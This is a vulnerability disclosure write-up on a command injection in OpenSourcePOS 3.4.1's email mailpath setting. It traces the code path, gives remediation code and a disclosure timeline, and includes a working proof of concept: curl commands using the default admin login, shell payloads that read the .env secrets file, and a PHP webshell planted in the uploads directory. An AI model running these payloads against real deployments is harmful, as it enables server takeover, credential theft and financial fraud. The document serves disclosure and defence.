Jiva | April 4, 2026

Introduction

Most command injection bugs have a predictable shape. A parameter flows into exec() or system(), some developer forgot to call escapeshellarg(), and the writeup is a few paragraphs about input sanitization. This one is different — not because the injection is novel, but because the vulnerability exists in the gap between two components that are each doing something reasonable, and the only thing missing is one line of validation in a form handler that nobody thought of as a security boundary.

The vulnerable parameter is mailpath — the filesystem path to the sendmail binary. It is a configuration field, stored in the database, set through the admin panel. CodeIgniter 4's email library reads it back and concatenates it directly into a popen() call. No escaping. No validation. The application trusts that whatever is in the database is a valid path to a mail transfer agent. The admin panel trusts that whatever the admin types into a text field is a valid path to a mail transfer agent. Nobody validates the assumption on either side.

The result is that any administrator — or any attacker who has compromised an admin session — can write an arbitrary shell command into a configuration field, wait for any user to trigger an email send (a receipt, an invoice, a password reset), and get code execution as www-data on the underlying server.

This is Part 1 of a two-part series on vulnerabilities discovered during independent security research of OpenSourcePOS 3.4.1. Part 2 covers a critical blind SQL injection in the Taxes module that, chained with this finding, escalates any employee with taxes module access to full server compromise.


Target Background

OpenSourcePOS is an open-source, web-based point-of-sale system built on PHP and CodeIgniter 4.6.0. It is designed for small-to-midsize retailers — brick-and-mortar shops, restaurants, service businesses. The application handles sales transactions, inventory management, customer records, employee management, tax configuration, and reporting. It runs on the standard LAMP stack: Apache, PHP, MySQL/MariaDB.

The project has been in active development for years and has a significant deployment base. It is the kind of application that ends up running in the back office of a retail store, often managed by someone who is not a sysadmin, frequently exposed to the local network, and occasionally exposed to the internet. The default admin credentials are admin:pointofsale, documented in the project README. These are the credentials I used for this research.

The target was OpenSourcePOS 3.4.1 running in a Docker container at http://192.168.3.9:8070/. Authentication is session-based. CSRF protection is globally disabled — the CSRF filter is commented out in app/Config/Filters.php at line 76. This simplifies PoC demonstration (no token extraction required), but it also means that every POST endpoint in the application is vulnerable to cross-site request forgery, which is relevant to the attack chain analysis later.


How I Found It

Starting With the Configuration Surface

When I begin a code-review, the configuration layer is one of the first things I read. Configuration pages are interesting attack surface because they are designed to accept a wide range of inputs — paths, hostnames, port numbers, template strings — and store them for later use by other parts of the application. The values entered through configuration forms flow into business logic, template rendering, email dispatch, report generation, and file operations. If any of those downstream consumers handle the stored value unsafely, the configuration form becomes the injection point.

I opened app/Controllers/Config.php and started reading every post*() method. The controller handles general settings, locale, email, invoice configuration, and several other sections. Each method reads POST parameters, optionally validates or sanitizes them, and passes them to $this->appconfig->batch_save() for database storage.

The Email Configuration Handler

postSaveEmail() caught my attention immediately. Here is the full method:

public function postSaveEmail(): void
{
    $password = '';

    if (check_encryption() && !empty($this->request->getPost('smtp_pass'))) {
        $password = $this->encrypter->encrypt($this->request->getPost('smtp_pass'));
    }

    $batch_save_data = [
        'protocol'     => $this->request->getPost('protocol'),
        'mailpath'     => $this->request->getPost('mailpath'),
        'smtp_host'    => $this->request->getPost('smtp_host'),
        'smtp_user'    => $this->request->getPost('smtp_user'),
        'smtp_pass'    => $password,
        'smtp_port'    => $this->request->getPost('smtp_port', FILTER_SANITIZE_NUMBER_INT),
        'smtp_timeout' => $this->request->getPost('smtp_timeout', FILTER_SANITIZE_NUMBER_INT),
        'smtp_crypto'  => $this->request->getPost('smtp_crypto')
    ];

    $success = $this->appconfig->batch_save($batch_save_data);
    echo json_encode(['success' => $success, ...]);
}
PHP source code showing the postSaveEmail method with batch_save_data array construction
The postSaveEmail() method in app/Controllers/Config.php
The postSaveEmail() method in Config.php. Notice that smtp_port and smtp_timeout get FILTER_SANITIZE_NUMBER_INT, smtp_pass is encrypted, but mailpath is taken raw from POST data with no validation or sanitization.

Look at what gets sanitized and what does not. smtp_port and smtp_timeout are passed through FILTER_SANITIZE_NUMBER_INT — they will only contain digits, plus signs, and minus signs. smtp_pass is encrypted before storage. protocol, smtp_host, smtp_user, smtp_crypto, and mailpath — none of them get any sanitization at all.

For most of these unsanitized fields, the lack of validation is not exploitable. protocol flows into CodeIgniter's email library, which uses it as a switch case (smtp, sendmail, mail) — an unrecognized value just means email delivery fails. smtp_host and smtp_user are used in SMTP operations where injection is constrained by the protocol. smtp_crypto selects a TLS mode.

But mailpath is different. I knew what sendmail path configuration is typically used for, and I knew that PHP's mail() function and various framework email wrappers historically concatenate the sendmail path into a shell command. The question was whether CodeIgniter 4 did the same thing.

Following the Data Flow

The value is stored in the database via batch_save(). To find where it comes back out, I searched for references to mailpath across the codebase.

app/Libraries/Email_lib.php reads it:

$email_config = [
    'mailType'    => 'html',
    'userAgent'   => 'OSPOS',
    'validate'    => true,
    'protocol'    => $this->config['protocol'],
    'mailPath'    => $this->config['mailpath'],
    'SMTPHost'    => $this->config['smtp_host'],
    'SMTPUser'    => $this->config['smtp_user'],
    'SMTPPass'    => $smtp_pass,
    ...
];
$this->email->initialize($email_config);

The mailPath configuration key is passed directly to CodeIgniter 4's Email library. The question now is: what does CI4 do with it?

Inside CodeIgniter 4's Email Class

I pulled up system/Email/Email.php from the CI4 source. When protocol is set to sendmail, the library's _sendWithSendmail() method executes:

$result = @popen($this->mailPath . ' -oi -f ' . $from . ' -t', 'w');
PHP source code showing popen() call with $this->mailPath concatenated into a shell command
The _sendWithSendmail() method in CI4's system/Email/Email.php showing the popen() call
CodeIgniter 4's email sending code. The mailPath property is concatenated directly into a string passed to popen(), which opens a process pipe through the system shell. No escaping is applied.

There it is. popen() opens a pipe to a process, and the first argument is a string that the shell interprets. $this->mailPath is concatenated directly into that string. No escapeshellarg(). No escapeshellcmd(). No validation that the value looks like a filesystem path.

This is not a CodeIgniter bug in the traditional sense. popen() with a path to sendmail is how PHP email libraries have worked for decades. The implicit contract is that mailPath contains a filesystem path like /usr/sbin/sendmail. The framework trusts the application to provide a valid path. The application trusts the admin to type a valid path. The admin trusts… well, the admin is the attacker.

The Chain

The complete data flow is:

  1. Admin sets mailpath via POST to /config/saveEmail
  2. Value stored in database, no validation
  3. Email_lib reads value from database, passes to CI4 Email class
  4. CI4 Email class concatenates value into popen() shell command
  5. Any email-sending action triggers execution

The question was: what triggers an email send?


Finding the Trigger

I searched for calls to Email_lib::sendEmail() across the codebase. Several controllers send email:

  • Sales::getSendReceipt() — emails a receipt to a customer
  • Sales::getSendPdf() — emails an invoice PDF
  • Password reset flows
  • Various notification functions

The simplest trigger is getSendReceipt(). It takes a sale ID, looks up the customer's email address, and sends the receipt. A GET request to /sales/sendReceipt/2 (where 2 is a sale ID with a customer email attached) triggers the email pipeline, which reads mailpath from the database, passes it to popen(), and the shell executes whatever is in that field.


Exploitation

Step 1: Set the Payload

The payload needs to be a string that, when concatenated with -oi -f from@addr -t and passed to popen(), executes an arbitrary command. The approach:

/usr/bin/id > /var/www/html/uploads/rce_proof.txt #

The # is a shell comment character. Everything after it — the -oi -f from@addr -t that CI4 appends — is ignored. The > redirects output to a file in the web root.

I needed the web root path. I found it by looking at how other upload operations work: Config::upload_logo() stores files to FCPATH . 'uploads/'. FCPATH is a CI4 constant for the front controller path — the web root. Inside the Docker container, uploads appear at /var/www/html/uploads/ and are accessible at http://target/uploads/.

# Authenticate first (session cookie needed for admin endpoints)
curl -s -c cookies.txt \
  -X POST 'http://192.168.3.9:8070/login' \
  -d 'username=admin&password=pointofsale'

# Set malicious mailpath
curl -s -c cookies.txt -b cookies.txt \
  -X POST 'http://192.168.3.9:8070/config/saveEmail' \
  --data-urlencode 'protocol=sendmail' \
  --data-urlencode 'mailpath=/usr/bin/id > /var/www/html/uploads/rce_proof.txt #' \
  --data-urlencode 'smtp_host=' \
  --data-urlencode 'smtp_user=' \
  --data-urlencode 'smtp_pass=' \
  --data-urlencode 'smtp_port=465' \
  --data-urlencode 'smtp_timeout=5' \
  --data-urlencode 'smtp_crypto=ssl'

The response: {"success":true, ...}. The payload is now stored in the database as the sendmail path.

OpenSourcePOS email configuration page with fields for protocol, mail path, SMTP host, user, password, port, timeout, and encryption
The Email Configuration page in the OpenSourcePOS admin UI, showing the mailpath field
The email configuration UI. The ‘Mail Path’ field accepts freeform text input. In normal operation, an admin would enter something like /usr/sbin/sendmail. There is no client-side or server-side validation that the value is a valid filesystem path.

Step 2: Trigger the Email

# Make sure sale exists with customer (with email address) attached
curl -s -c cookies.txt -b cookies.txt \
  'http://192.168.3.9:8070/sales/sendReceipt/2'

This triggers CI4's email library to read the stored mailpath, concatenate it into the popen() command, and execute:

/usr/bin/id > /var/www/html/uploads/rce_proof.txt # -oi -f [email protected] -t

The shell executes id, redirects output to the file, and the # comments out the rest.

Step 3: Confirm Execution

curl -s 'http://192.168.3.9:8070/uploads/rce_proof.txt'

Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Terminal output showing curl request to the proof file and the response confirming code execution as www-data user
Terminal showing the curl request to /uploads/rce_proof.txt and the uid=33(www-data) response
Remote code execution confirmed. The id command executed as www-data (uid=33), which is the Apache/PHP process user inside the Docker container. The output file is web-accessible, proving both command execution and write access to the web root.

RCE as www-data.


Post-Exploitation

With arbitrary command execution, the next step was reading the application's configuration. I changed the mailpath to:

/bin/cat /app/.env > /var/www/html/uploads/env_dump.txt #

Triggered another email send, and retrieved the file:

curl -s 'http://192.168.3.9:8070/uploads/env_dump.txt'

The .env file contained database credentials, the application encryption key (empty — auto-generated), and session configuration. With database credentials, I could directly query the ospos_employees table for password hashes, the ospos_app_config table for all application secrets, and the full sales history including customer PII.

I also confirmed that the uploads/ directory is writable and web-accessible, which means a full webshell is trivial — just write a PHP file:

/bin/echo '<?php system($_GET["c"]); ?>' > /var/www/html/uploads/shell.php #

At this point the engagement has a persistent, unauthenticated webshell. The mailpath can be restored to its legitimate value (/usr/sbin/sendmail), the proof files can be cleaned up, and the webshell in uploads/shell.php provides ongoing access that does not depend on any admin session or configuration state.


Variant Analysis

Other Configuration Fields

After confirming the mailpath injection, I went back through every post*() method in Config.php to check whether any other unsanitized configuration values flow into dangerous sinks.

protocol — flows into CI4 Email as a switch value. Not injectable in a meaningful way; unrecognized values cause email to fail silently.

smtp_host — used as the SMTP server hostname. An attacker could redirect email traffic to a malicious SMTP server, capturing outgoing mail, but this is data exfiltration rather than RCE.

smtp_user — used in SMTP AUTH. Limited to SMTP protocol context.

smtp_crypto — used as a TLS mode selector. Not injectable.

None of the other fields in postSaveEmail() flow into shell commands. mailpath is unique because it is the only configuration value that ends up in a popen() call.

Other Controllers

I searched the entire codebase for popen(, exec(, system(, passthru(, shell_exec(, and backtick operators. The only popen() call in the application code (outside of CI4's own framework code) is in the email library. CI4's popen() for sendmail is the singular shell execution surface, and mailpath is the only user-controllable input that reaches it.

The CVE-2026-26746 Relationship

During this research I was aware of CVE-2026-26746, a previously reported LFI-to-RCE vulnerability in the same version of OpenSourcePOS. That finding uses a different attack surface — the invoice_type configuration value flows into CI4's view() function, allowing directory traversal to include arbitrary files. Combined with the logo upload feature (which allows uploading images with embedded PHP in EXIF data), it achieves RCE through local file inclusion.

This issue, CVE-2026-41307, is a distinct vulnerability. The attack surface is different (email configuration vs. invoice configuration), the dangerous function is different (popen() vs. view()), and the exploitation technique is different (command injection vs. LFI + upload). Both findings share a common root cause pattern — unsanitized configuration values flowing into dangerous operations — but the specific code paths are entirely separate.


Impact

Technical Impact

An attacker with admin-level access to OpenSourcePOS can achieve arbitrary command execution on the underlying server as the web server user (www-data). From there:

  • Read all application configuration including database credentials and encryption keys
  • Access the full database: sales records, customer PII, employee records, financial data
  • Plant persistent webshells that survive configuration changes and session invalidation
  • Pivot to other systems accessible from the server's network position
  • Modify application code or database records to manipulate financial transactions

Business Impact

OpenSourcePOS handles financial transactions. Compromise of the underlying server means:

  • Financial fraud: An attacker can modify prices, discounts, tax rates, and payment records in the database
  • Data breach: Customer names, email addresses, phone numbers, and purchase histories are stored in the database. Depending on integration, payment card data may be present (though OSPOS itself does not store full card numbers)
  • Supply chain attack: If the POS system is connected to accounting software, ERP systems, or payment processors, the compromised server becomes a pivot point
  • Operational disruption: The attacker can disable the POS system entirely, halting retail operations

The Admin Prerequisite

The finding requires admin authentication. This is a real constraint — but less of one than it might appear.

First, the default credentials are admin:pointofsale, documented in the project README. Deployments that do not change the default password are immediately vulnerable.

Second, CSRF is globally disabled. A phishing email with an embedded form that POSTs to /config/saveEmail with a malicious mailpath would succeed if the admin has an active session. The admin does not need to visit the attacker's page intentionally — an image tag or JavaScript redirect on any page would suffice. The next email trigger (a customer requesting a receipt, an employee generating an invoice) executes the payload.

Third, as documented in Part 2 of this series, there is a SQL injection vulnerability that allows any employee with taxes module access to extract admin password hashes. The hash can be cracked offline and used to authenticate as admin. The chain from low-privilege employee to RCE is: SQLi (extract hash) → offline crack → admin login → mailpath injection → RCE.


Remediation

Immediate Fix

In postSaveEmail(), validate mailpath against a whitelist of known sendmail-compatible binaries:

$allowed_paths = ['/usr/sbin/sendmail', '/usr/lib/sendmail', '/usr/bin/msmtp'];
$mailpath = $this->request->getPost('mailpath');
if (!in_array($mailpath, $allowed_paths, true)) {
    $mailpath = '/usr/sbin/sendmail';
}

This is the minimum change. It is three lines.

Better Fix

Remove the mailpath configuration field from the web UI entirely. Hardcode the sendmail path in the application configuration or in an environment variable that is not settable through the web interface. There is no legitimate reason for a POS operator to change the sendmail binary path through a web form. If custom sendmail paths are needed, they should be set in .env or a server-side configuration file that requires filesystem access to modify.

Defense in Depth

Even with the whitelist fix, CI4's popen() call in the email library remains a dangerous pattern. Consider using PHP's mail() function (which has its own issues but does not involve popen()) or a pure-SMTP implementation that avoids shell execution entirely. The sendmail protocol option in CI4 exists for historical compatibility — SMTP is the modern approach and does not involve shell commands.


A Note on the Known CVE

CVE-2026-26746, reported by hungnqdz and phdwg1410, documents a separate RCE path in the same version through LFI via the invoice_type configuration parameter. That finding was already public before this research began. CVE-2026-41307 is a distinct vulnerability with a different attack surface, different root cause, and different exploitation technique. Both should be patched independently.


Disclosure Timeline

Date Event
2026-03-28 Vulnerability identified and confirmed during independent security research
2026-04-04 Finding documented with full PoC
2026-04-04 Vulnerability reported to maintainers via GitHub Security Advisory (GHSA-w2px-qm8j-jj26)
2026-04-04 Maintainer acknowledged and informed me fix will be created soon
2026-04-06 Maintainer publishes PR #4469 containing fix in commit f8e4bdd
2026-04-20 GitHub assigns CVE-2026-41307
2026-04-29 This write-up published

Part 2 of this series covers a critical blind SQL injection in the Taxes module that chains with this finding to escalate any employee with taxes module access to full server compromise — read it here.

Jiva Security

Jiva Security offers web application penetration testing, source-assisted assessments, and dedicated vulnerability research. Every engagement is performed directly by me — no subcontractors, no account managers, no junior staff. Senior offensive expertise from first contact to final report.